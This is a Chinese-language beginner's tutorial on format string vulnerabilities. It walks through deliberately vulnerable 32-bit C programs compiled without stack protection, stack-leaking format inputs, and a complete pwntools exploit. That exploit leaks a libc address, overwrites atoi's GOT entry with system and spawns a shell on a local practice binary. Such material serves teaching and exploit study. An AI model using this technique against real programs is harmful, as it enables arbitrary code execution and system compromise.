格式化字符串漏洞分析入门
格式化字符串
- 源码
#include <stdio.h>
int main(int argc, char **argv){
int a[8]={43690,43690,43690,43690,43690,43690,43690,43690};
char *message = "%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x\n";
printf(message);
printf("Ending");
}
- 编译命令
- **gcc -m32 -fno-stack-protector -z execstack -no-pie -o level1 fmt.c **
- 用gcc编译成32位的后,在GDB中执行,在程序调用printf前打断点,查看内存的数据:
![]()

- 可以明显看到打出来的栈数据中有我们定义的数组:0x0000aaaa = 43690
查看任意位置的内存数据
-
1、需要一个格式化参数,去获取对应地址的数据。
- 可以利用”%s”格式化参数来获取对应地址的数据。现在第一个问题解决了,剩下的就是怎么将一个内存地址,放在正确的位置,让格式化函数读取。
-
2、需要一个方法,提供内存地址给格式化函数。
-
源码
#include <stdio.h>
int main(int argc, char **argv){
int a[8]={43690,43690,43690,43690,43690,43690,43690,43690};
char message[150];
print("Input:\n");
scanf("%s", message);
printf("Result:\n");
printf(message);
printf("\n");
}
- 编译后输入AAAAAAAA%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x

- 可以看到读到了输入的AAAAA,那我们尝试把第6个%08x改为%s:00000000%08x,%08x,%08x,%08x,%08x,%s,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x运行后读到了非法地址返回内存非法访问错误。

- 源码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(){
char buf[40];
char v1;
while (1){
puts("WANT PLAY[Y/N]");
if(getchar()!=89)
break;
v1 = getchar();
puts("GET YOUR NAME:");
memset(buf,0,40);
read(0,buf,0x40u);
puts("WELCOME ");
printf(buf);
puts("GET YOUR AGE:");
read(0,buf,0x40u);
if(atoi(&buf)>60)
puts("OLD MEN!\n");
}
return 0;
}
- gcc -m32 pwn_formats.c -o pwnformats -no-pie
- 用格式化字符串漏洞,将某个函数的GOT地址改为system的地址,再控制参数,执行system(‘/bin/sh’)。这里atoi函数的参数就为我们第二次输入的数据,这样覆盖atoi函数为system,再输入’/bin/sh’,即可直接getshell。
- 1、得到puts函数所在库地址
- 2、puts和system处于同一系统libc中,根据puts函数和system函数在这一个版本的库中的地址偏移差,我们可以计算出system函数的地址。
- 3、覆盖GOT表中atoi函数的地址为system函数的地址
- 4、在“GET YOUR AGE”时,输入”/bin/sh”,触发system(“/bin/sh”),得到shell。
exploit
from pwn import *
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./pwnformats')
# 1st
p = process('./pwnformats')
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('NAME:')
payload = p32(elf.got['puts'])+'%5$s'
p.sendline(payload)
p.recvuntil('WELCOME \n')
puts_addr=p.recv()[4:8]
# 2nd
system_addr = libc.symbols['system'] - libc.symbols['puts'] + u32(puts_addr)
# 3rd
atoi_got_addr = elf.got['atoi']
p.sendline('17')
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('NAME:')
p.sendline(fmtstr_payload(5, {atoi_got_addr: system_addr}))
# 4th
p.recvuntil('GET YOUR AGE:')
p.sendline('/bin/sh\x00')
p.interactive()



浙公网安备 33010602011771号